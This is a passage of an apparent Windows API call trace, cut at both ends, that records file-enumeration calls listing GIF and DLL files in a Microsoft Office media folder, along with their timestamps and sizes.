cFileName="BD21334_.GIF", cAlternateFileName="")) returned 1 [0074.923] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4465be00, ftCreationTime.dwHighDateTime=0x1bd4f48, ftLastAccessTime.dwLowDateTime=0xbcdeeda0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x4465be00, ftLastWriteTime.dwHighDateTime=0x1bd4f48, nFileSizeHigh=0x0, nFileSizeLow=0xaeb, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD21336_.GIF", cAlternateFileName="")) returned 1 [0074.923] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1ae24200, ftCreationTime.dwHighDateTime=0x1bd4d50, ftLastAccessTime.dwLowDateTime=0xbcdeeda0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x1ae24200, ftLastWriteTime.dwHighDateTime=0x1bd4d50, nFileSizeHigh=0x0, nFileSizeLow=0x344, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD21338_.GIF", cAlternateFileName="")) returned 1 [0074.923] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7a537400, ftCreationTime.dwHighDateTime=0x1bd4f41, ftLastAccessTime.dwLowDateTime=0xbce14f00, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x7a537400, ftLastWriteTime.dwHighDateTime=0x1bd4f41, nFileSizeHigh=0x0, nFileSizeLow=0x96, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD21340_.GIF", cAlternateFileName="")) returned 1 [0074.923] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7a89600, ftCreationTime.dwHighDateTime=0x1bd9367, ftLastAccessTime.dwLowDateTime=0xbce3b060, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa7a89600, ftLastWriteTime.dwHighDateTime=0x1bd9367, nFileSizeHigh=0x0, nFileSizeLow=0x46b, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD21348_.GIF", cAlternateFileName="")) returned 1 [0074.923] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5462cc00, ftCreationTime.dwHighDateTime=0x1bd8f92, ftLastAccessTime.dwLowDateTime=0xbce3b060, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x5462cc00, ftLastWriteTime.dwHighDateTime=0x1bd8f92, nFileSizeHigh=0x0, nFileSizeLow=0x8e3, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD21370_.GIF", cAlternateFileName="")) returned 1 [0074.923] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8d9b3c00, ftCreationTime.dwHighDateTime=0x1bd8f92, ftLastAccessTime.dwLowDateTime=0xbce611c0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x8d9b3c00, ftLastWriteTime.dwHighDateTime=0x1bd8f92, nFileSizeHigh=0x0, nFileSizeLow=0x15e, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD21390_.GIF", cAlternateFileName="")) returned 1 [0074.923] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb7546300, ftCreationTime.dwHighDateTime=0x1bd8f92, ftLastAccessTime.dwLowDateTime=0xbce87320, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xb7546300, ftLastWriteTime.dwHighDateTime=0x1bd8f92, nFileSizeHigh=0x0, nFileSizeLow=0x3de, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD21413_.GIF", cAlternateFileName="")) returned 1 [0074.923] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd290b00, ftCreationTime.dwHighDateTime=0x1bd8f93, ftLastAccessTime.dwLowDateTime=0xbce87320, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xd290b00, ftLastWriteTime.dwHighDateTime=0x1bd8f93, nFileSizeHigh=0x0, nFileSizeLow=0x770, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD21427_.GIF", cAlternateFileName="")) returned 1 [0074.923] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97bc3b00, ftCreationTime.dwHighDateTime=0x1bd8f90, ftLastAccessTime.dwLowDateTime=0xbcead480, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x97bc3b00, ftLastWriteTime.dwHighDateTime=0x1bd8f90, nFileSizeHigh=0x0, nFileSizeLow=0x11c, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD21448_.GIF", cAlternateFileName="")) returned 1 [0074.923] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5b89da00, ftCreationTime.dwHighDateTime=0x1bd8f92, ftLastAccessTime.dwLowDateTime=0xbced35e0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x5b89da00, ftLastWriteTime.dwHighDateTime=0x1bd8f92, nFileSizeHigh=0x0, nFileSizeLow=0x2da, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD21495_.GIF", cAlternateFileName="")) returned 1 [0074.924] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93911d00, ftCreationTime.dwHighDateTime=0x1bd8f92, ftLastAccessTime.dwLowDateTime=0xbcef9740, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x93911d00, ftLastWriteTime.dwHighDateTime=0x1bd8f92, nFileSizeHigh=0x0, nFileSizeLow=0x34d, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD21512_.GIF", cAlternateFileName="")) returned 1 [0074.924] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbd4a4400, ftCreationTime.dwHighDateTime=0x1bd8f92, ftLastAccessTime.dwLowDateTime=0xbcef9740, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xbd4a4400, ftLastWriteTime.dwHighDateTime=0x1bd8f92, nFileSizeHigh=0x0, nFileSizeLow=0x24e, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD21527_.GIF", cAlternateFileName="")) returned 1 [0074.924] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x15814600, ftCreationTime.dwHighDateTime=0x1bd8f93, ftLastAccessTime.dwLowDateTime=0xbcf1f8a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x15814600, ftLastWriteTime.dwHighDateTime=0x1bd8f93, nFileSizeHigh=0x0, nFileSizeLow=0x73d, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD21548_.GIF", cAlternateFileName="")) returned 1 [0074.924] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x51d3ee00, ftCreationTime.dwHighDateTime=0x1bd9367, ftLastAccessTime.dwLowDateTime=0xbd408600, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x51d3ee00, ftLastWriteTime.dwHighDateTime=0x1bd9367, nFileSizeHigh=0x0, nFileSizeLow=0x11a, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0115855.GIF", cAlternateFileName="")) returned 1 [0074.924] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x51d3ee00, ftCreationTime.dwHighDateTime=0x1bd9367, ftLastAccessTime.dwLowDateTime=0xbd408600, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x51d3ee00, ftLastWriteTime.dwHighDateTime=0x1bd9367, nFileSizeHigh=0x0, nFileSizeLow=0x11a, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0115856.GIF", cAlternateFileName="")) returned 1 [0074.924] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x60220a00, ftCreationTime.dwHighDateTime=0x1bd9367, ftLastAccessTime.dwLowDateTime=0xbd42e760, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x60220a00, ftLastWriteTime.dwHighDateTime=0x1bd9367, nFileSizeHigh=0x0, nFileSizeLow=0x1d3, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0115875.GIF", cAlternateFileName="")) returned 1 [0074.924] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x60220a00, ftCreationTime.dwHighDateTime=0x1bd9367, ftLastAccessTime.dwLowDateTime=0xbd4548c0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x60220a00, ftLastWriteTime.dwHighDateTime=0x1bd9367, nFileSizeHigh=0x0, nFileSizeLow=0x15e, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0115876.GIF", cAlternateFileName="")) returned 1 [0074.924] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf3475600, ftCreationTime.dwHighDateTime=0x1ca9120, ftLastAccessTime.dwLowDateTime=0x66293410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf3475600, ftLastWriteTime.dwHighDateTime=0x1ca9120, nFileSizeHigh=0x0, nFileSizeLow=0x3b98, dwReserved0=0x0, dwReserved1=0x0, cFileName="LINES.DLL", cAlternateFileName="")) returned 1 [0074.924] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf3475600, ftCreationTime.dwHighDateTime=0x1ca9120, ftLastAccessTime.dwLowDateTime=0x66293410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf3475600, ftLastWriteTime.dwHighDateTime=0x1ca9120, nFileSizeHigh=0x0, nFileSizeLow=0x3b98, dwReserved0=0x0, dwReserved1=0x0, cFileName="LINES.DLL", cAlternateFileName="")) returned 0 [0074.924] GetLastError () returned 0x12 [0074.924] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e9140 [0074.924] FindClose (in: hFindFile=0x2e9080 | out: hFindFile=0x2e9080) returned 1 [0074.925] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5178e0b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xbd4548c0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xbd4548c0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0074.925] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b0e4a00, ftCreationTime.dwHighDateTime=0x1bd5ead, ftLastAccessTime.dwLowDateTime=0xbc847960, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x9b0e4a00, ftLastWriteTime.dwHighDateTime=0x1bd5ead, nFileSizeHigh=0x0, nFileSizeLow=0x3d2, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD10219_.GIF", cAlternateFileName="")) returned 1 [0074.925] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8d9c300, ftCreationTime.dwHighDateTime=0x1bd9367, ftLastAccessTime.dwLowDateTime=0xbc847960, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa8d9c300, ftLastWriteTime.dwHighDateTime=0x1bd9367, nFileSizeHigh=0x0, nFileSizeLow=0x97e, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD10256_.GIF", cAlternateFileName="")) returned 1 [0074.925] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6e031400, ftCreationTime.dwHighDateTime=0x1bd8f90, ftLastAccessTime.dwLowDateTime=0xbc893c20, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x6e031400, ftLastWriteTime.dwHighDateTime=0x1bd8f90, nFileSizeHigh=0x0, nFileSizeLow=0x124, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD10289_.GIF", cAlternateFileName="")) returned 1 [0074.925] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6e031400, ftCreationTime.dwHighDateTime=0x1bd8f90, ftLastAccessTime.dwLowDateTime=0xbc893c20, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x6e031400, ftLastWriteTime.dwHighDateTime=0x1bd8f90, nFileSizeHigh=0x0, nFileSizeLow=0x134, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD10290_.GIF", cAlternateFileName="")) returned 1 [0074.925] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73f8f500, ftCreationTime.dwHighDateTime=0x1bd8f90, ftLastAccessTime.dwLowDateTime=0xbc8b9d80, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x73f8f500, ftLastWriteTime.dwHighDateTime=0x1bd8f90, nFileSizeHigh=0x0, nFileSizeLow=0x497, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD10307_.GIF", cAlternateFileName="")) returned 1 [0074.925] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x752a2200, ftCreationTime.dwHighDateTime=0x1bd8f90, ftLastAccessTime.dwLowDateTime=0xbc8b9d80, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x752a2200, ftLastWriteTime.dwHighDateTime=0x1bd8f90, nFileSizeHigh=0x0, nFileSizeLow=0x27d, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD10308_.GIF", cAlternateFileName="")) returned 1 [0074.925] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x68a6c900, ftCreationTime.dwHighDateTime=0x1bd8f92, ftLastAccessTime.dwLowDateTime=0xbc8b9d80, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x68a6c900, ftLastWriteTime.dwHighDateTime=0x1bd8f92, nFileSizeHigh=0x0, nFileSizeLow=0x3a4, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD10358_.GIF", cAlternateFileName="")) returned 1 [0074.925] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb91d2700, ftCreationTime.dwHighDateTime=0x1bd8f90, ftLastAccessTime.dwLowDateTime=0xbc8dfee0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xb91d2700, ftLastWriteTime.dwHighDateTime=0x1bd8f90, nFileSizeHigh=0x0, nFileSizeLow=0x160, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD14516_.GIF", cAlternateFileName="")) returned 1 [0074.925] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8d9c300, ftCreationTime.dwHighDateTime=0x1bd9367, ftLastAccessTime.dwLowDateTime=0xbc906040, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa8d9c300, ftLastWriteTime.dwHighDateTime=0x1bd9367, nFileSizeHigh=0x0, nFileSizeLow=0x617, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD14538_.GIF", cAlternateFileName="")) returned 1 [0074.925] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaa0af000, ftCreationTime.dwHighDateTime=0x1bd9367, ftLastAccessTime.dwLowDateTime=0xbc906040, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xaa0af000, ftLastWriteTime.dwHighDateTime=0x1bd9367, nFileSizeHigh=0x0, nFileSizeLow=0x5ab, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD14539_.GIF", cAlternateFileName="")) returned 1 [0074.925] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84a96b00, ftCreationTime.dwHighDateTime=0x1bd8f90, ftLastAccessTime.dwLowDateTime=0xbc952300, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x84a96b00, ftLastWriteTime.dwHighDateTime=0x1bd8f90, nFileSizeHigh=0x0, nFileSizeLow=0x25b, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD14594_.GIF", cAlternateFileName="")) returned 1 [0074.925] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84a96b00, ftCreationTime.dwHighDateTime=0x1bd8f90, ftLastAccessTime.dwLowDateTime=0xbc952300, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x84a96b00, ftLastWriteTime.dwHighDateTime=0x1bd8f90, nFileSizeHigh=0x0, nFileSizeLow=0x1d7, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD14595_.GIF", cAlternateFileName="")) returned 1 [0074.925] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbe2ea600, ftCreationTime.dwHighDateTime=0x1bd8f91, ftLastAccessTime.dwLowDateTime=0xbc952300, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xbe2ea600, ftLastWriteTime.dwHighDateTime=0x1bd8f91, nFileSizeHigh=0x0, nFileSizeLow=0x11c, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD14677_.GIF", cAlternateFileName="")) returned 1 [0074.925] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcdadef00, ftCreationTime.dwHighDateTime=0x1bd8f91, ftLastAccessTime.dwLowDateTime=0xbc978460, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xcdadef00, ftLastWriteTime.dwHighDateTime=0x1bd8f91, nFileSizeHigh=0x0, nFileSizeLow=0x2fe, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD14710_.GIF", cAlternateFileName="")) returned 1 [0074.925] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcdadef00, ftCreationTime.dwHighDateTime=0x1bd8f91, ftLastAccessTime.dwLowDateTime=0xbc978460, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xcdadef00, ftLastWriteTime.dwHighDateTime=0x1bd8f91, nFileSizeHigh=0x0, nFileSizeLow=0xa97, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD14711_.GIF", cAlternateFileName="")) returned 1 [0074.925] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf2a26200, ftCreationTime.dwHighDateTime=0x1bd8f91, ftLastAccessTime.dwLowDateTime=0xbc99e5c0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xf2a26200, ftLastWriteTime.dwHighDateTime=0x1bd8f91, nFileSizeHigh=0x0, nFileSizeLow=0x1a7, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD14768_.GIF", cAlternateFileName="")) returned 1 [0074.925] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf2a26200, ftCreationTime.dwHighDateTime=0x1bd8f91, ftLastAccessTime.dwLowDateTime=0xbc99e5c0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xf2a26200, ftLastWriteTime.dwHighDateTime=0x1bd8f91, nFileSizeHigh=0x0, nFileSizeLow=0x16a, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD14769_.GIF", cAlternateFileName="")) returned 1 [0074.925] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaa0af000, ftCreationTime.dwHighDateTime=0x1bd9367, ftLastAccessTime.dwLowDateTime=0xbc9c4720, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xaa0af000, ftLastWriteTime.dwHighDateTime=0x1bd9367, nFileSizeHigh=0x0, nFileSizeLow=0x1f3, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD14800_.GIF", cAlternateFileName="")) returned 1 [0074.925] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaa0af000, ftCreationTime.dwHighDateTime=0x1bd9367, ftLastAccessTime.dwLowDateTime=0xbc9ea880, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xaa0af000, ftLastWriteTime.dwHighDateTime=0x1bd9367, nFileSizeHigh=0x0, nFileSizeLow=0x384, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD14801_.GIF", cAlternateFileName="")) returned 1 [0074.925] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf3e9a00, ftCreationTime.dwHighDateTime=0x1bd8f92, ftLastAccessTime.dwLowDateTime=0xbca109e0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xf3e9a00, ftLastWriteTime.dwHighDateTime=0x1bd8f92, nFileSizeHigh=0x0, nFileSizeLow=0x13c, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD14844_.GIF", cAlternateFileName="")) returned 1 [0074.925] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf3e9a00, ftCreationTime.dwHighDateTime=0x1bd8f92, ftLastAccessTime.dwLowDateTime=0xbca109e0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xf3e9a00, ftLastWriteTime.dwHighDateTime=0x1bd8f92, nFileSizeHigh=0x0, nFileSizeLow=0x117, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD14845_.GIF", cAlternateFileName="")) returned 1 [0074.925] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1ebde300, ftCreationTime.dwHighDateTime=0x1bd8f92, ftLastAccessTime.dwLowDateTime=0xbca36b40, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x1ebde300, ftLastWriteTime.dwHighDateTime=0x1bd8f92, nFileSizeHigh=0x0, nFileSizeLow=0x17d, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD14882_.GIF", cAlternateFileName="")) returned 1 [0074.925] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1ebde300, ftCreationTime.dwHighDateTime=0x1bd8f92, ftLastAccessTime.dwLowDateTime=0xbca36b40, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x1ebde300, ftLastWriteTime.dwHighDateTime=0x1bd8f92, nFileSizeHigh=0x0, nFileSizeLow=0x144, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD14883_.GIF", cAlternateFileName="")) returned 1 [0074.925] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73615e00, ftCreationTime.dwHighDateTime=0x1bd8f92, ftLastAccessTime.dwLowDateTime=0xbca5cca0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x73615e00, ftLastWriteTime.dwHighDateTime=0x1bd8f92, nFileSizeHigh=0x0, nFileSizeLow=0x2d7, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD14996_.GIF", cAlternateFileName="")) returned 1 [0074.925] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73615e00, ftCreationTime.dwHighDateTime=0x1bd8f92, ftLastAccessTime.dwLowDateTime=0xbca5cca0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x73615e00, ftLastWriteTime.dwHighDateTime=0x1bd8f92, nFileSizeHigh=0x0, nFileSizeLow=0x2ae, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD14997_.GIF", cAlternateFileName="")) returned 1 [0074.925] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x81af7a00, ftCreationTime.dwHighDateTime=0x1bd8f92, ftLastAccessTime.dwLowDateTime=0xbca82e00, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x81af7a00, ftLastWriteTime.dwHighDateTime=0x1bd8f92, nFileSizeHigh=0x0, nFileSizeLow=0x220, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD15034_.GIF", cAlternateFileName="")) returned 1 [0074.925] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x81af7a00, ftCreationTime.dwHighDateTime=0x1bd8f92, 